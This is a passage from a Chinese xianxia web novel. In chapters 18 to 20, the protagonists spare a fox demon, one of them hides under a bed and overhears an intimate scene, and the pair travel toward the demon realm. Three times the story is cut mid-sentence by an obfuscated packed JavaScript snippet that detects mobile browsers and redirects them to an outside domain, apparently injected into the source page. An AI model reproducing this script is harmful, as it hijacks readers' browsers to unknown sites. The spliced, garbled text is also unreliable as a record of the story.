但是现在的林沧不在乎。 此时此刻,林沧只知道,他能帮他,他能救他,就已经足够了。 指尖似乎仍然残留着那人肌肤的触感,林沧轻轻捻了下手指。 曾几何时,他捻捻手指,是为了抹掉那人的温度。而如今,却变成了不舍。 水声响起,林沧竖起耳朵,听到林渊走出了药泉。 布料窸窣,林渊擦干身体,换上了干净的衣物。 “药泉虽好,但久泡无益。”林渊打了个呵欠,懒洋洋地说道。 林沧骤然回神,无声地点了点头,拆下了眼上的黑布。 斜倚在树干上的俊雅男子面容带笑,圈着一缕湿漉漉的墨发把玩,肤色不再苍白得像一具尸体,薄唇有了血色,泛着健康的淡粉。 而最重要的是,那双鸦青色的眼眸,终于再次有了准确的落点。 林沧无言地抬头,对林渊对视片刻,勾了勾唇角。 太好了。 林沧离开药泉,走到林渊身边,伸出手,掌心轻轻地抚上了林渊的后脑。 然后一路往下。 直到发梢。 湿漉漉的墨发一寸寸在林沧的掌心变得干燥,淡淡的水雾蒸起,氤氲在二人四周。 “真是浪费啊。”林渊笑叹一声。 “没事,不算什么。”林沧摇头。 林渊闻言,没有回答,只是轻轻笑了笑。如墨的长发顺服地在青年掌心滑过,林沧默然不语,直到最后一丝墨发滑落指间,才开口说道,“你去休息吧,我来收拾替换下来的衣物。” 林渊闻言,讶异地挑眉,“这么宜室宜家?” 林沧顿了一下,掀起眼皮,冷冷地扫了林渊一眼。 “好好,我错了。”林渊立刻投降,“那我找个地方休息一下,辛苦你了。” 他的确是累了,也需要静下心来炼化一下林沧传递过来的灵力。 于是林渊便不再客气,转身向某个方向走去。 他记得那里有个天然的好地处。 林沧看着林渊的背影,心里有种说不清道不明的感觉。 该知道的,不该知道的。 他真的……什么都知道。 - 朝日温柔地洒在林渊脸上,林渊半梦半醒,忽然被一道阴影遮住了头顶。 林渊勉强把眼睛睁开一条线,看清来人之后又闭了回去。 “别装死,你已经醒了。”那人凉凉的声音响起,“睡得香吗?” 林渊翻了个身,趴在晒得温暖的石头上,竖起一根手指,“一炷香。” 人在某些时候真的会笑。 林沧真心实意地冷笑了一声。 于是那根竖起的手指屈起,勉为其难地说道,“半柱香。” 林沧又是一声冷笑,“那我走了,今天之内,必须赶到魔界,检查封印是否松动。” 林渊唰地坐了起来。 “今天?”林渊拧着眉毛,“你不怕到时候灵力枯竭,万一遇到危险,毫无抵抗之力?” 林沧一怔。 他怎么知道? 灵力的底线在哪,只有他自己清楚。 林沧皱眉看着坐在一片乱石之中,偏偏寻到这块平坦舒适遮风挡雨的石板的林渊,荒谬的感觉无法遏制地在心底升腾。 “你可以用灵力赶路,但是今晚必须找个地方休息。”林渊不容置疑地说道,“明天傍晚便能抵达,你也能剩一些灵力,以备不时之需。” “你倒是对通往魔界的路了如指掌。”林沧扯了扯嘴角,意味不明地笑了一声,说道。 “这个嘛。”出乎林沧的意料,林渊竟然没有露出哪怕半分的慌张,反而扬起一个笑容,“你就早知道了,不是吗?” 林渊既然知道魔族封印,那么认识通往魔界的道路,一点也不稀奇。 林沧的确早有预料,但却惊讶于林渊的坦诚。 于是林沧干脆放弃弯弯绕绕,直接问出了心底的疑惑,“那你为什么,对我的灵力如此清楚?” 知道通往魔族的路不稀奇,知道他的灵力底线也勉强能够接受。 但是不假思索算出赶路所需的灵力,需要的不仅仅是上述二者,更是要对他运用灵力的习惯了如指掌。 林渊根本不可能…… 可是他偏偏就是知道。 “关于这个,”林渊眯着眼睛,语气散漫地开口,“就属于你要猜的秘密了。之前已经说过,猜对了,就告诉你。” 林沧:“……” 刚才跟他坦诚的是他,让他放弃弯弯绕绕的也是他,现在开始打哑谜的也是他。 他算是明白了,跟林渊玩人心,他必输。 林沧知道自己问不出什么了,低头看着倚在石壁上抓紧最后的机会眯着眼睛晒太阳的林渊,气不打一处来,俯身一把捞起林渊的腰,脚尖一踏,向空中飞去。 地面的景物迅速缩小,林沧单手松松垮垮地揽着林渊的腰,其实是动了一点惩罚的心思的。参天的古木很快变得如同蚂蚁般大小,只要微一低头,就会头晕目眩,再加上林沧若即若离的手臂,若是常人,怕不会当场吓晕过去。 但是林渊没有。 俊雅男子似乎还没从睡梦中清醒过来,平淡地扫了一眼急遽远离的地面,甚至打了个呵欠。 然后漫不经心地伸出手臂,环住林沧的肩颈,下巴在林沧肩头挪了挪,最终找到一个舒适的姿势,搁在了林沧的颈窝。 轻缓的呼吸擦过颈侧,林沧身体一僵,险些灵力失控,一不留神在空中坠了一下,没吓到林渊,反倒差点把他自己弄出一身冷汗。 “小心。”林渊随口说道。 “…………知道了。”林沧自暴自弃,抱紧了林渊的腰。 旭日被他们抛在背后,密密的云层掩住了日光。 林渊懒懒地挂在林沧肩头,一回生两回熟,无论林沧用什么姿势拎他,他都已经不会感到别扭了。 眼前是飞扬的墨发,林渊伸出指尖,把林沧的一缕长发从脸上拨开,默默感受着体内的灵力。 大概能撑三天。 也就三天,不能再多了。 这还是在仅仅维持基本的正常体征的情况下。 不过这样已经很好了,至少不像之前,完全是个累赘。 林沧今年二十有二,距离那件事,还剩下三年。 就这样时不时借林沧一点灵力,度过这三年,然后一起赴死……或者顺利的话,林沧能够想开,他实现愿望烟消云散,然后林沧一个人好好活着,最终洒脱地迎接死亡…… 啊,左右都是死。 不想了。 林渊闭上眼睛。 事已至此,先睡一会吧。 林渊不知道,在他呼吸趋近平稳的瞬间,林沧立刻轻手轻脚地调转姿势,把他仔仔细细护在了怀中。 青年默默地盯着沉睡的俊雅男子,半晌,伸出指尖,轻轻摸了摸他的侧脸。 林渊没想到,他这一睡,就是夕阳西下。 脚下传来坚实的触感,林渊被林沧放在地上,迷迷糊糊睁开眼睛,映入眼帘的是一家客栈。 “今晚在这休息。”林沧说道。 “好。”林渊点了点头,然而话音未落,原本窝在林沧肩头打瞌睡的阿白忽然支棱起来,边叫边振翅向客栈飞去。 林渊和林沧同时一愣。 然后一起向客栈冲去。 为时不早,大多数客人已经离开,大堂之中,只有寥寥几桌客人边吃边聊。 白鸽忽然闯入,几桌客人纷纷好奇地望去,唯有角落的两人头也不抬,偏偏白鸽直直向他们飞去,在他们头顶徘徊,冲着其中一人咕咕直叫。 那两人脸色微变,对视一眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你好像是人族,但又不像。”殷狐忽然摸了摸下巴,探究地上下打量着林渊,露出一个意味深长的笑,“我明白了。你体内有灵族的气息,所以昨晚,我猜你们两个……” 殷狐话音未落,林沧的脸“腾”的一声红了。 “?”林渊不明所以,但也看出殷狐在转移话题,于是语气更加冰冷了些,“你不是我们的对手,最好有问必答,不要妄图耍花招。” 说话之间,林渊悄悄释放了一些杀意。 林沧和梅大夫只能感到危险,但只有真正的妖族才能切身感受到,那些同类死亡的气息。 数不胜数的大妖,血淋淋地死在眼前。 残肢断臂,血流成河。 狐妖敏锐性极强,险些跌入林渊编制的梦魇,多亏梅大夫一把拉住了他的胳膊。 殷狐脸色煞白,怔怔地摸了摸胸口,才发现自己原来还活着。 林渊不着痕迹地皱了下眉头,悄悄收敛了一些杀意。 他也没想到,这个敏锐聪颖的狐妖,实际竟然相当虚弱。 那他说的梅大夫救了他…… “殷狐没有妖核。”梅大夫长叹一声,攥着殷狐的胳膊,满眼悲伤,“所以二位放心,他不会觊觎灵族的心脏。” 林渊一怔,与林沧对视一眼,同时看到了对方眼中的惊讶。 灵族的本源是心脏。 灵修的中枢在百会。 而妖族,有一个承载妖力的妖核。 妖族没有妖核,虽不像灵族没有心脏那般致命,但是也无法凝聚妖力,相当孱弱。 殷狐既然能修炼人形,那之前定然是有一个强大的妖核…… “我的妖核被恶人掏走啦。”殷狐耸耸肩,无所谓地说道,“当年妖界坍塌,我们赤狐一家明明什么都没做,却要背井离乡,好不容易躲过魔族首尊逃到人间,可惜人族也不都是好东西,爹妈重伤,弟弟妹妹还不能化形,我只好牺牲……呵,出卖自己啦。” “殷狐,那些事,别说了。”梅大夫皱紧眉头,握住了殷狐的手。 “我当然要说。”殷狐笑着反握住梅大夫的掌心,缓缓与他十指相扣,“因为我不说的话,他们两个就要杀死我了。” 殷狐说着,抬起下巴,指了指林渊,“尤其是这位,是绝对、绝对不会对妖族手软的呢。” 18. 黑蝎 殷狐是妖族。 但是妖核被人族剥走了。 梅大夫紧紧扣着殷狐的手指,看向林渊和林沧的神情流露出恳求。 “殷狐他……”梅大夫斟酌着说道,似乎是害怕戳到殷狐的痛处,犹豫半晌,最终只是轻声说道,“受过很多苦。” “说那些都没用的,梅大夫。”殷狐笑出了声,转向林渊和林沧,敛起笑容,正色道,“二位,我没有妖核,既不会觊觎灵族的心脏,也打不过随便一个灵修,而且与梅大夫这种游医在一起,也不会伤害人族。这些理由,足够二位留我一条小命了么?” 这个狐妖真的很聪明。 也很真诚。 饶是林渊,也皱起了眉头。 前世的他与妖族有不共戴天之仇,竹白镇事件之后,见到他的妖族从来就是直接进攻。 哪怕不直接进攻,也是在盘算着偷袭的招数。 总而言之,各种阴狠的办法数不胜数。 因此,换做前世的他,根本不会与妖族废话,殷狐甚至来不及说出第一句话,就会被他贯穿胸膛。 可是现在…… 林渊转头,果然看到了林沧眼里的挣扎。 上次的柳妖,也是同样的弱不禁风。可是她找来了大妖,最终夺去了师兄的性命。 而这次的殷狐,不仅受过生剥妖核的苦,还被人族游医救赎。 殷狐和梅大夫在一起了。 这样的妖族,真的要杀掉吗。 可是如果放过他,万一重演师兄的悲剧…… “殷狐,我问你一些事情。”林渊忽然伸手,捏住了殷狐的手腕,微凉的指尖刺得殷狐一个激灵,属于林沧的强大灵力顺着脉搏,一路钻到胸口,密密地缠绕在了殷狐的心脏上,“如果说谎,你知道后果。” 灵族妖族,天性相克。 被灵力束缚住心脏,几乎一瞬间,殷狐的额上就布满了冷汗,眼角不受控制地痉挛抽搐。 “你认不认识,隐匿气息的妖族?”林渊一字一顿地说道。 殷狐满脸迷茫,过了许久,似是终于想起了什么,喃喃道,“黑蝎一族。” 林渊与林沧对视一眼,林渊继续问道,“你见过他们吗?” “没有。”这次殷狐回答得很快,“黑蝎一族在妖界出了名的神秘,我自幼未出赤狐山,从未见过黑蝎一族。” “来人间之后呢?” “从未见过。” “真的?” “真的。” 汗珠顺着额角滚落,殷狐的嘴唇微微颤抖。他已经到了极限,再坚持下去,就要暴毙而亡了。 林渊垂下眼帘,指尖却没有放松,反而一点点收紧,束缚殷狐心脏的灵力缓缓增强…… 不能留。上次柳妖的前车之鉴,殷狐不能留。 哪怕他没有说谎。 对不住。 殷狐开始挣扎。 梅大夫脸色煞白,嘴唇不由自主地颤抖。 殷狐看了梅大夫一眼。 梅大夫忽然扑了上去。 梅大夫死死抱住了林渊的手臂,林渊无意伤他,被迫松开了手。 殷狐捂着胸口,疯狂地大口呼吸,不停地咳喘,满脸通红。 “放过他吧,他从未伤人!”梅大夫哀求道。 林渊蹙起眉头,沉默不语。 “他没有妖核,如何伤得了人!”梅大夫继续恳求道。 “梅大夫,没事的。”殷狐抹去嘴角的一丝鲜血,微笑道,“我们妖族背井离乡,早就是孤魂野鬼,死便死了,无所谓的。” “你们如果杀他,便是杀了我。”梅大夫不再恳求了,直起脊梁,攥紧拳头,“灵族也好,灵修也罢,在你们这种高高在上的人眼中,我们的命就像蝼蚁,随便碾死就行。我是游医,医术虽不高明,但也医人无数,到头来,如果连自己的人都护不住,那活着还有什么意思,不如自裁死去。” 林渊看着一丝不苟的梅大夫,屈指敲了敲眉心,面上终于流露出了一丝烦躁。 “人族有好有坏,妖族亦然,你们随意夺走一个无辜的受迫害的妖族的性命,与穷凶极恶之徒有何区别?”梅大夫仿佛已经接受了自身死亡的命运,抬眼觑着林渊,冷冷地说道。 林渊忽然叹了口气,移开眼神,摆了摆手。 罢了。 其实在梅大夫扑上来之前,他就有放过殷狐的念头。 不是因为殷狐那巧舌如簧的话术,也不是因为梅大夫与殷狐之间的亲密关系。 话术可以伪装,关系可以是狐媚之术。 而是因为殷狐的眼神。 那双漂亮的眼睛,在濒死之际,看向梅大夫之时,明晃晃地写着…… 快走。 殷狐让梅大夫快走。 并不是求救。 便是那一刻,林渊生出了放过他的念头,而下一刹那,梅大夫扑了上来,他微一犹豫,便松开了手。 从松开手的那一瞬间,林渊就知道,殷狐杀不成了。 是殷狐自己救了自己,并不是因为梅大夫。 高挑纤细的漂亮男子怔怔地看着林渊,眼中逐渐燃起了生的喜悦,缓缓勾起了唇角。 “多谢……公子。”殷狐站起身来,向林渊行了一礼。 林渊撇过了头。 这是他第一次放过妖族。 梅大夫搀着殷狐上楼。 林沧看着林渊,眼神复杂,叹道,“你之前带我寻找酒老板那些妖族,跟我说想杀了他们,我今日才真正地体会到其中的含义。” “是么?”林渊看向林沧,冰冷的目光渐渐柔和,面上浮起一抹无奈,说道,“其实有的时候,也挺难作出决定的。” “无论如何,我相信你。”林沧认真道。 “殷狐对那个游医是真心的,这点我倒可以肯定。”林渊笑叹一声,“狐族能言善辩,极善伪装,他们说的话,有时候半分也信不得。我当时真的起了杀心,但是殷狐的第一反应是让梅大夫走,不然的话,你以为我会放过他吗?” “嗯。”林沧点了点头,又皱了一下眉头,不确定地说道,“但是那个梅大夫,你不觉得有些奇怪吗?” “反应有些刻意,大概是没有表现出来的那么喜欢殷狐。”林渊耸了耸肩,“人族不都是好东西,这点殷狐倒没说错。” “哪个族群能全是好东西呢?灵族也不例外。”林沧扯了扯嘴角,“不过总算得到了一点线索……隐匿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810389|175206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行踪的妖族,黑蝎一族。” 黑蝎一族。 林渊仔细回忆,前世倒是杀过几个蝎妖,只不过不知道是不是殷狐口中的黑蝎一族。 等检查完魔界封印,就去记忆中遇到蝎妖的地方碰碰运气吧。 “总之,先吃饭吧。”林渊找了个位置,招呼店小二过来。 “两位是灵修大人吗?”店小二战战兢兢,瞥了一眼楼上,小声问道,“那个男的,是,是妖族?” “嗯,是妖族。”林渊点了点头,在店小二惊恐的目光中,安抚道,“他对人族没有恶意,我们今晚也在此居住,你们放心,一定不会有事发生。” 店小二张了张嘴,似乎还想说什么,林渊叹了口气,抬眼看进店小二的眼睛,轻声说道,“如今妖族隐匿于人群之中,如果你是妖族,看到自己这么不受人待见,若想杀人,第一个杀的是谁?” 店小二闻言,猛地倒吸了一口凉气。 “所以说,不要那么在意妖族。大多数妖族也不想招惹人族,好不容易逃到人间,都想过几天安稳日子。如果真的有解决不了的事情,及时去找灵修。”林渊说完,往椅背上一靠,懒洋洋地眯起眼睛,“行了,上菜,我们饿了。” “引着别人往套里钻,倒像个狡猾的教书先生。”店小二走后,林沧笑了一声。 “妖界已经坍塌,妖族无处可去,人族妖族共处是必然的事情。”林渊托着下巴,说道,“人族也应该接受这个现实了,不能天天活在对妖族的恐惧之中。” “看得这么明白,那你为何如此憎恨妖族?”林沧皱眉,疑惑道。 “我嘛。”林渊弯起眼角,语气随意地说道,“因为,我跟妖族有仇。” - 是夜。 林渊合衣躺在榻上,白天睡得有点多了,这会反而睡不着。 外室传来轻轻的脚步声,林渊支起身子,喊了一声林沧,问道,“明天还要赶路,你怎么还不休息?” 脚步声越来越近,“吱嘎”一声,林沧推开内室的门,犹豫着说道,“我总不放心,傍晚放过了殷狐。” “他没有妖核,跟人族不相上下,不用太过担心。”林渊看着林沧,莫名来了困意,打了个呵欠,说道,“何况没有妖核,你的心脏对他来说无用,他是个有脑子的,不会通知其他大妖,专门做他人衣裳。” “可是我……”林沧皱眉,过了半晌,忽然下定决心,说道,“反正他们就在隔壁,我去瞧瞧,万一他们有什么举动,也能提前知晓。” “你随意。”林渊又打了个呵欠。 应该是经常被林沧抱着飞来飞去睡觉,养成习惯了,看到林沧就困。 林渊把自己丢回了床上。 林沧见林渊着实困倦,便也不再多说,独自推门离开了。 林渊闭着眼睛,半梦半醒中,不知过了多久,忽然一个激灵,坐了起来。 “林沧?” 林渊试探着唤了一声。 无人回应。 “不会已经去了吧。”林渊露出了一个些许微妙的表情,“他们那是真断袖,林沧万一撞见什么不该撞见的……” 完了。 林沧躺在床底,满脸死意,想道。 19. 偷听 林沧摸进殷狐和梅大夫的房间之前,里面一片寂静。 霍君生前车之鉴在前,林沧的心跳骤然一停,唯恐殷狐已经出门召集其他大妖前来围剿,那么这个客栈也会像钟怀仁的医馆那样遭殃…… 林沧越想越觉得极有可能,本来只想在外面听听动静,这下心中一乱,直接绕到窗户,悄悄翻了进去。 里面果然没人。 床铺上放着衣物,桌上搁着行李,一切都很平常。林沧迅速扫视一周,目光在床头一个精巧的木盒上顿了一下。 迷药?毒药? 林沧走上前去,打开盒盖,里面盛着一种从未见过的半固体脂膏,质地细腻,散发着淡淡的清香。 林沧:“……?” 好像不是毒药。 也不是迷药。 林沧正在迷惑,门口忽然传来动静,殷狐和梅大夫交谈的声音响起。两道人影倒映在窗纸上,林沧看似冷静,实则做贼心虚,环顾一周,面无表情地钻进了床底。 由于太过匆忙,手里还攥着那盒脂膏。 “今天真是有惊无险啊。”梅大夫感慨道。 “嗯。”殷狐不知为何,脚步忽然顿了一下,然后若无其事地笑道,“那个人的确起了杀心,多亏有你,他才放过了我。” “唉。”梅大夫叹了口气,转而轻松地说道,“别想那些了,这个季节没有梅花,好不容易折到一枝荼蘼,多少与梅花也有些相像。” “有你在,还要什么梅花。”殷狐低声笑道。 细碎的声音越来越近,殷狐接过荼蘼,把妍妍的花枝插在了床头。馥郁的幽香袭来,林沧默默松了口气。 原来他们只是出去折花了,没有召集大妖的心思。 林渊说得对,是他多虑了。 既已确定了客栈安全,林沧便失去了窃听的兴趣,盘算着离开的机会。 明日还要赶路,需得回去休息一下,恢复灵力。 “梅大夫,喝酒吗?”殷狐漫无目的地在房里走了两圈,忽然提议道。 “好啊。”梅大夫欣然答允。 摆放酒具的声音传来,殷狐斟了两杯酒,与梅大夫相对而坐,慢慢酌了起来。醇厚的酒香弥漫,林沧迅速判断出此酒后劲很大,如果二人酒量不高,恐不多时就会醉倒。 太好了。等他们醉倒睡着之后,他就可以离开了。 林沧正暗自庆幸,默默等待着,然而相对而酌的两人根本没有顺应他的期望,只是浅酌了两杯,甚至未及微醺。 “借酒助兴——”殷狐尾音上扬,却刻意压低的调笑声突然响起,林沧一怔,忽然有一种极其不妙的预感,下一刹那,突如其来一道晴天霹雳,重重砸进了他的耳朵里。 “梅大夫,你想……吗?”殷狐刻意含混的声音响起。 “早有此意。”梅大夫的声音紧接着响起。 林沧目瞪口呆,一种荒谬至极却又合情合理的感觉在心中升起。然而林沧还不及作出任何反应,拥吻的声音忽然传来,灼烧着林沧的耳廓,林沧满脸通红,如坐……如躺针毡,恨不得狠狠抽自己两巴掌。 等,等一下,或许他现在出去还来得及…… 突然,“吱嘎”一声,从正上方传来,床榻陷下去了一角。 窸窸窣窣的衣料摩擦声接踵而至,伴随着几声令人脸红耳热的人声。 林沧:“……” 不愧是如假包换的鸳侣,事情进展得也太快了些。 林沧绝望地发现,他好像,已经,彻底出不去了。 …… “嗯?你有见到盒子吗?” 混沌之中,梅大夫的声音忽然钻进了呆若木鸡的林沧的耳中。 “啊,那种东西,不重要。” 殷狐的声音响起,尾音上挑,仿佛带着小钩子。 林沧瞳孔巨震,眼珠一点点转向手中的木盒。 原来。 原来还有这种东西啊…… …… 林沧直挺挺躺在床底,自觉地封闭了视听。 …… 天光破晓。 林渊睁开了眼睛。 “林沧?” 无人回应。 林渊一怔,连外衫都来不及穿,只着里衣,急匆匆走向了外室。 床铺整齐,无人回来过。 林渊皱起眉头,升起了一抹担忧。 不会他的预判出错,殷狐真的召集大妖,围剿林沧了吧。 想到此间,林渊有点紧张,然而还未来得及有所行动,房门“吱嘎”一声被人推开了。 林沧满脸颓丧,走了进来。 “怎么回事?”林渊猛地松了口气,迎上前去。 “无事。”林沧的眼神躲闪了一下,“他们,嗯,很正常。” 可是你不正常。林渊上下打量着林沧。 “没事,我们赶路吧。”林沧似是不愿多说,转移话题道。 林渊一把抓住林沧的手腕,皱眉道,“很正常你在外面呆了一夜?有什么危险,不要瞒着我。” 林沧下意识低头,看到林渊的手指,心头猛地跳了一下。 昨晚殷狐不满的嘟囔在耳畔回响。 “梅大夫……下次记得修一下指甲。” 林渊的手指很长,骨节明晰,非常漂亮。 指甲也修得整整齐齐。 林沧又像是被雷劈了一般,猛地抽回被林渊握着的手腕,脑袋一抽,声明道,“我封闭了视听。” 林渊:“啊?” 林沧:“。” 林沧:“别问了,我们走吧。” 林渊:“……” 虽然不知道林沧为什么关注他的手指,但林渊好像,隐隐约约,猜到了林沧经历了什么。 “节哀……不是,对不住。”林渊绷着脸庞,看着对他怒目而视的林沧,正色道,“我们走吧。我什么也没猜到。” 林沧绷不住了,猛地甩手,向外面走去。 “等一下。”林渊一边抓起外衫,一边跟着林沧向外走去。 林沧忽然折返,“砰”的一声关上了门。 抓着外衫的林渊险些一头撞在林沧脸上。 “穿好再出去,不差这一会儿。”林沧说道。 林渊看着满脸黑气的林沧,无奈地张了张嘴,然后又乖乖闭上。 看来昨晚的打击的确有点大。林渊一边整理衣带,一边默默地想道。 - “他们走了。” 客栈二层,慵懒昳丽的男子斜倚着墙壁,余光瞥向窗外,打了个呵欠。 “嗯,以后注意一点,昨晚太过了。”梅大夫叹了口气,说道。 “有什么关系,反正没出意外。”殷狐耸了耸肩,本就松松垮垮的里衣从肩头滑下,露出了大片大片白皙的肌肤,印着片片鲜艳的红痕。 若是林沧在场,一定会瞳孔巨震。 他们竟然知道。 他们明明知道他在床底,竟然还…… “我的意思是,你不该说那些的。”梅大夫本就深邃的眼眸更加幽深了些,深深地看进殷狐的眼眸,“万一节外生枝,你知道的,下场很惨。毕竟,我们是偷跑出来的……趁‘他’不在。” 梅大夫刻意在“他”这个字上加重了声音,殷狐脸色变了变,垂下了眼帘。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810390|175206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昨夜的确太过了。 不是他明知床下有人,还引着梅大夫与他做那种事…… 而是,他念出了梅大夫的另一个称谓。 “医官大人。” 月明星稀,他借着微醺,扯着梅大夫跌在榻上,故意制造出衣料摩擦的声音。 刻意做出引导性的对话,发出些惹人遐想的声音,然而那时的两人眼睛都是清明的,衣衫也整整齐齐。 [不要过火了。] 梅大夫看着殷狐的眼眸,无声地警告道。 [有什么关系。] 殷狐挑着一抹微笑,无所谓地耸肩。 [那个灵族,他在床底。] 梅大夫瞥了一眼床榻,眼中带上了一抹冷意。 “你猜,他听不听得见?”殷狐忽然停止了无声的交流,虽然低得像是呢喃,但他的的确确说了出来。 梅大夫骤然一惊,浑身绷紧。然而过了半晌,床下仍旧无声无息。再一低头,对上了殷狐狭长上挑的眼尾,蕴着狡黠的笑意。 “我算是看出来了,那个灵族。”殷狐抚摸着梅大夫的侧脸,微笑道,“那种爱而不得的小家伙,初出茅庐,羞涩得很。” “你是说……”梅大夫皱眉。 “对,他肯定封闭视听了。”殷狐的手指顺着梅大夫的侧脸下移,压低的气音缱绻,“明天就要回去了,真的不做点什么吗?……医官大人。” “昨晚是我错了,医官大人。”在梅大夫提到“他”之后,殷狐咬紧下唇,默然半晌,垂眸道歉。 梅大夫一顿,轻声叹了口气,声音肯定,“你动过向那个灵族求助的心思,对么。” 殷狐呼吸一滞,没有回应,手指却悄然攥紧。 “跟我不用隐瞒的。”梅大夫一边说着,一边走到桌边,在药囊里翻找起来。 殷狐抬起眼帘,看着取出一盒伤药的梅大夫,自觉地除掉上衣,挽起头发,坐到了桌边。 “你说得对。”殷狐低声承认道,“他是灵族,也许有对付魔族的能力……” “可是你下不了决心。”梅大夫又是一声叹息,拧开药盒,指尖勾起细腻润泽的药膏,仔仔细细地盖住了殷狐身上的每一道红痕。 “因为我担不起失败。”冰凉的药膏激起一阵本能的战栗,殷狐闭上眼睛,语气嘲讽地说道,“起死回生的灵药,倒让我们这般浪费。” 梅大夫盯着那一片片鲜艳的痕迹,直到它们迅速变淡,最终消失,才无声地松了口气。 “如果让‘他’看到,一百盒灵药也救不了我们。”梅大夫沉沉地说道。 “也是。”殷狐轻笑一声,摇了摇头。 既然下不了决心,也担不起失败。 那就这样吧。 他愿意做那个安于现状的胆小鬼。 ……即使现状并不安稳。 确定每一处红痕都消失不见之后,梅大夫忽然想起了什么,放下药盒,蹙眉问道,“对了,‘他’最近是不是在找什么人?” “哦,那个啊,听说首尊有个孩子流落在外,‘他’想找到那个人。”殷狐说着,时刻上挑的眼尾忽然下垂,看起来不太开心,过了半晌,才闷闷地补充道,“如果你想知道的话,我帮你去问。” “多谢你。”梅大夫直言不讳。 “就知道是这样。”殷狐叹了口气,余光瞥到一本正经的梅大夫,不知为何忽然又笑了,失落一扫而空,狭长的眼睛眯起,蛊惑又灿烂,“补偿呢?” “……明早再回去吧。”梅大夫重新打开药盒,看了看还剩大半的灵药,手指搭上了系得整齐的衣带。 “今天,就留在客栈。” 20. 噩梦 昨晚没休息好。 不。 昨晚根本没休息。 甚至由于封闭视听,消耗了更多的灵力。 林沧抱着林渊,时不时咬一下嘴唇,勉强维持着思维的清醒,向魔界的方向飞去。 林渊抬头看着林沧的脸,青年的眼底刷着两道乌青,眉头不由自主地拧着,下唇被他咬出几缕血丝,整个人都浸透着深深的疲惫。 还不如昨晚连夜赶路呢。林渊懊恼地想道。 “喂,你自己飞。”林渊的目光落在了窝在林沧肩头呼呼大睡的阿白身上。 白鸽看了林渊一眼,又看了看没什么反应的林沧,把嘴喙插在了翅膀下面,继续呼呼大睡。 被小看了。 阿白只听林沧的。 林渊皮笑肉不笑地伸手,去赶林沧肩头的阿白,然而就在林渊的手马上就要碰到洁白的羽毛之时,白鸽忽然振翅,扑棱棱飞到了林沧的另一侧肩头。 林渊的手不偏不倚,落在了林沧侧颈上。 林沧低头,瞪了他一眼。 “……抱歉。”林渊立刻服软。 “这么闲的话,”林沧诡异地顿了顿,才继续说道,“不如给我讲讲你的从前。” 他的从前? 林渊一怔。 那有什么好讲的,跟你一模一样。 通往魔界的方向迎着旭日,林渊觉得有些刺眼,眯起眼睛,忽然注意到了林沧绷紧的下颌线。 嗯?他在紧张? 林渊疑惑地歪了歪头,在直接拒绝和张口瞎编之间纠结了一瞬,选择了前者。 “没什么好讲的。”许是日光太过温暖,林渊散漫地拉长语调,说道,“日后你自会知晓。” 林渊对自己的回答甚是满意,何况他隐隐感觉林沧最近很不对劲,约莫已经大致猜到了他的身份。 不然以他自己的脾性,怎会容忍另一个人与自己如此亲密。 于是林渊心安理得地闭上了眼睛,错过了林沧眸中划过的一抹苦涩的惊异。 日后他自会知晓。 意思是,林渊心中的那个人还活着,对吗。 林渊会回到那人的身边。 而他只能……熬过剩下的三年,然后一脚踏入死亡的深渊。 林沧再次狠狠咬了一口下唇,但这次并不是因为犯困。 怀中的某样东西似乎在隐隐发烫,灼痛了他的内心。羞耻和愧疚感忽然涌起,林沧恨不得赶紧把那盒东西立即丢开。 今天早上,他悄悄离开时,把那盒脂膏放回了殷狐和梅大夫的床头。 却鬼使神差地,在回房之前,跑去买了一盒崭新的脂膏,然后怀着龌龊的心态,把精巧的木盒小心翼翼地揣进了怀里。 甚至还买了一本画集,迅速翻完之后,一把火“毁尸灭迹”。 昨夜的事情,给他直白而巨大冲击的同时,也勾起了他龌龊的欲念。 说到底,不过是二十出头的青年。 他买下那盒脂膏时,脑中的的确确浮现了一些不切实际的幻想,妄想着林渊像惯常那样弯着眼睛,亲吻他的嘴唇,时不时难捱地扬起脖颈,薄而柔软的唇中溢出一些……的声音。 这些幻想几乎让林沧目眩神迷,缠绕着他混沌的思维,一直持续到现在。 而就在刚才,却被林渊兜头浇了一盆冷水,与清醒伴随而来的,是强烈的谴责与羞愧。 俊雅男子明明窝在他的怀里,却残忍而轻描淡写地提醒他,他没机会的。 还有人在等他。他不可能走进他的心里。 他一定是发现了自己龌龊的心思,才用这种方式,委婉地提醒他…… 不要越界。 “我知道了。”林沧低声道。 他不会越界。 “嗯。”林渊点点头。 不愧是曾经的自己,与其逼他承认身份,不如亲自寻找证据,得出确凿的结论。 两个完全走向相反方向的同一个人,各怀心思,同时选择了闭口不言。 林沧肩头的阿白被吵醒了,支棱起脑袋,疑惑地打量着这两个人。 总觉得,哪里怪怪的…… 阿白的小脑袋费力地得出了这么个结论。 - 入夜时分,二人终于抵达了魔界的入口处。 